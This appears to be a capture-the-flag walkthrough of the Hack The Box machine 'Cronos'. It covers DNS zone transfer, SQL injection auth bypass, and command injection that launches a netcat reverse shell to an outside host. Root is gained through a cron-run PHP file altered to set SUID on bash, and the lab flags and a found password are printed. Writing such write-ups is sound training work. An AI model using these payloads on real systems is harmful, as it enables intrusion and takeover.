Cronos

Cronos

Scanning

sudo nmap -A -T4 -v 10.10.10.13 -oA scans/scan

DNS, SSH, HTTP

Discovered open port 80/tcp on 10.10.10.13
Discovered open port 22/tcp on 10.10.10.13
Discovered open port 53/tcp on 10.10.10.13
image

DNS is interesting, lets checkout http first

image

I spent some time enumerating directories before realizing I probably need the hostname for this box. the standard HTB naming convention is <name>.htb, so I added that to my hosts file and was able to access the actual website.

image

Tried to directory fuzz but did not come up with anything useful

image

We know DNS is running, lets run dig to see if we can get any subdomains

dig axfr cronos.htb @10.10.10.13
image

We got three

admin.cronos.htb
ns1.cronos.htb
www.cronos.htb

admin.cronos.htb

image

Tried testing for SQL injection with a single quote, lets see if sqlmap can tell us if this is a rabbit hole

sqlmap -r r 
image

SQLMap thinks its a blind injection

image
sqlmap -r r --batch --level 3 --risk 3
Full SQL Map Output

Dumped a username and a hash

image

Can we crack the hash?

hashcat -m 0 hash /usr/share/wordlists/rockyou.txt
image

Could not crack the hash 😟

Maybe its just an auth bypass? We know the username is admin

I started going down the list here:

Exploitation

This one ended up working!

admin' or '1'='1'#
image

We are taken to welcome.php

image

Looks like its a command execution tool. Makes me think command injection.

Can we just chain commands on the end?

image

YUP Revshell?

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.25 42069 >/tmp/f
image

Did not work. Im gonna try echoing into a file first

; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.25 42069 >/tmp/f > shell.sh
; chmod +x shell.sh
image

Confirmed we have execution privileges

Can we just run it ? Not working….

The site is running php. Lets just cost a php shell and wget it.

I was making a logical issue before. I should’ve been chaining the command to execute directly after a valid parameter and not in when the command was expecting one. The modification is below

8.8.8.8; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.25 42069 >/tmp/f
image

stabilize our shell

python3 -c 'import pty; pty.spawn("/bin/bash")'
image

Privilege Escalation

Checking for easy stuff

id
sudo -l
find / -perm /4000 2>/dev/null

Nothing in these outputs of interest, except pkexec which is vulnerable to pwnkit (not the intended path)

Password hunting?

grep -ir passw

Found local database password?

kEjdbRigfBHUREiNSDs
image

Not allowed to access 😟

image
cat /etc/crontab

Crontab has something!

image

Root is running /artisen ?

image

We own the file so we can modify it to do whatever we want, lets investigate further

image

It’s running php! We have a few options; we can add a php reverse shell here, or we can execute a system command and add the SUID perm to bash.

<?php echo system('sudo chmod +s /bin/bash'); ?>
image
  1. I made a backup of the artisan file
cp artisan artisan.bak
  1. Created my own with echo and added the shebang + our malicious code
echo '#!/usr/bin/env php' > artisan
echo "<?php echo system('sudo chmod +s /bin/bash'); ?>" >> artisan
  1. Wait for the cronjob to execute…

We got it !

image
bash -p
image

ROOT 🙂

Lets grab the flags

user

70ea15c698c191fa1c14b72397450688

root

5a68fe542a4ebdbf1b1e18e3442065f5